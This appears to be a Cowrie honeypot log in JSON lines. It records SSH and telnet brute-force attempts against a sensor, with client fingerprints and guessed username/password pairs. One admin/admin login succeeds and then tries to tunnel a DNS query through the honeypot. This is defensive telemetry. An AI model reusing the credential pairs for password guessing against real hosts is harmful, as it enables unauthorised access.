{"eventid":"cowrie.login.failed","username":"root","password":"210588","message":"login attempt [root/210588] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:48:47.893527Z","src_ip":"103.77.175.15","session":"1d2b73a70932","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:48:49.145149Z","src_ip":"103.77.175.15","session":"1d2b73a70932","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"153.80.249.112","src_port":37426,"dst_ip":"10.17.0.5","dst_port":22,"session":"391259790dfa","protocol":"ssh","message":"New connection: 153.80.249.112:37426 (10.17.0.5:22) [session: 391259790dfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:49:44.260704Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:49:44.265610Z","src_ip":"153.80.249.112","session":"391259790dfa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:49:44.366069Z","src_ip":"153.80.249.112","session":"391259790dfa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"eprints","password":"eprints","message":"login attempt [eprints/eprints] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:49:44.740657Z","src_ip":"153.80.249.112","session":"391259790dfa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":33008,"dst_ip":"159.203.135.109","dst_port":22,"session":"545fc5f14955","protocol":"ssh","message":"New connection: 89.108.118.91:33008 (159.203.135.109:22) [session: 545fc5f14955]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:49:44.939869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:49:44.945297Z","src_ip":"89.108.118.91","session":"545fc5f14955","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:49:45.074141Z","src_ip":"89.108.118.91","session":"545fc5f14955","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abramov","message":"login attempt [root/abramov] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:49:45.460611Z","src_ip":"89.108.118.91","session":"545fc5f14955","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:49:45.825728Z","src_ip":"153.80.249.112","session":"391259790dfa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:49:46.592393Z","src_ip":"89.108.118.91","session":"545fc5f14955","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"218.78.60.105","src_port":39988,"dst_ip":"10.17.0.5","dst_port":22,"session":"2fc84d67b4ad","protocol":"ssh","message":"New connection: 218.78.60.105:39988 (10.17.0.5:22) [session: 2fc84d67b4ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:49:58.528395Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:49:58.532490Z","src_ip":"218.78.60.105","session":"2fc84d67b4ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:49:58.757506Z","src_ip":"218.78.60.105","session":"2fc84d67b4ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"test","message":"login attempt [tester/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:49:59.693324Z","src_ip":"218.78.60.105","session":"2fc84d67b4ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:50:00.924083Z","src_ip":"218.78.60.105","session":"2fc84d67b4ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.173.103.113","src_port":42860,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a86edbff0d9","protocol":"ssh","message":"New connection: 45.173.103.113:42860 (10.17.0.5:22) [session: 0a86edbff0d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:50:08.932715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:50:08.938191Z","src_ip":"45.173.103.113","session":"0a86edbff0d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:50:09.043056Z","src_ip":"45.173.103.113","session":"0a86edbff0d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssWord123","message":"login attempt [root/P@ssWord123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:50:09.493819Z","src_ip":"45.173.103.113","session":"0a86edbff0d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:50:10.602321Z","src_ip":"45.173.103.113","session":"0a86edbff0d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":51006,"dst_ip":"10.17.0.5","dst_port":22,"session":"e47a0d31bbbd","protocol":"ssh","message":"New connection: 87.251.64.176:51006 (10.17.0.5:22) [session: e47a0d31bbbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:50:10.771926Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:50:10.777627Z","src_ip":"87.251.64.176","session":"e47a0d31bbbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:50:10.873907Z","src_ip":"87.251.64.176","session":"e47a0d31bbbd","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:50:11.162973Z","src_ip":"87.251.64.176","session":"e47a0d31bbbd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:50:11.271528Z","session":"e47a0d31bbbd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:50:11.370615Z","src_ip":"87.251.64.176","session":"e47a0d31bbbd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:50:11.468994Z","src_ip":"87.251.64.176","session":"e47a0d31bbbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.216.252.19","src_port":6752,"dst_ip":"10.17.0.5","dst_port":23,"session":"366d91d3caa7","protocol":"telnet","message":"New connection: 37.216.252.19:6752 (10.17.0.5:23) [session: 366d91d3caa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:50:50.207572Z"}
{"eventid":"cowrie.session.connect","src_ip":"153.80.249.112","src_port":39282,"dst_ip":"10.17.0.5","dst_port":22,"session":"89988fdebdd1","protocol":"ssh","message":"New connection: 153.80.249.112:39282 (10.17.0.5:22) [session: 89988fdebdd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:51:04.922134Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:51:04.928474Z","src_ip":"153.80.249.112","session":"89988fdebdd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:51:05.018995Z","src_ip":"153.80.249.112","session":"89988fdebdd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456aa!","message":"login attempt [root/123456aa!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:51:05.411222Z","src_ip":"153.80.249.112","session":"89988fdebdd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:51:06.497773Z","src_ip":"153.80.249.112","session":"89988fdebdd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":50402,"dst_ip":"159.203.135.109","dst_port":22,"session":"a4919e81b74e","protocol":"ssh","message":"New connection: 77.94.47.83:50402 (159.203.135.109:22) [session: a4919e81b74e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:51:18.907170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:51:18.911866Z","src_ip":"77.94.47.83","session":"a4919e81b74e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:51:19.024881Z","src_ip":"77.94.47.83","session":"a4919e81b74e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ktyecbr","message":"login attempt [root/ktyecbr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:51:19.362587Z","src_ip":"77.94.47.83","session":"a4919e81b74e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:51:20.478794Z","src_ip":"77.94.47.83","session":"a4919e81b74e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":6392,"dst_ip":"10.17.0.5","dst_port":22,"session":"97ed7e0f90d0","protocol":"ssh","message":"New connection: 87.251.64.176:6392 (10.17.0.5:22) [session: 97ed7e0f90d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:51:49.204871Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:51:49.209880Z","src_ip":"87.251.64.176","session":"97ed7e0f90d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:51:49.304562Z","src_ip":"87.251.64.176","session":"97ed7e0f90d0","protocol":"ssh"}
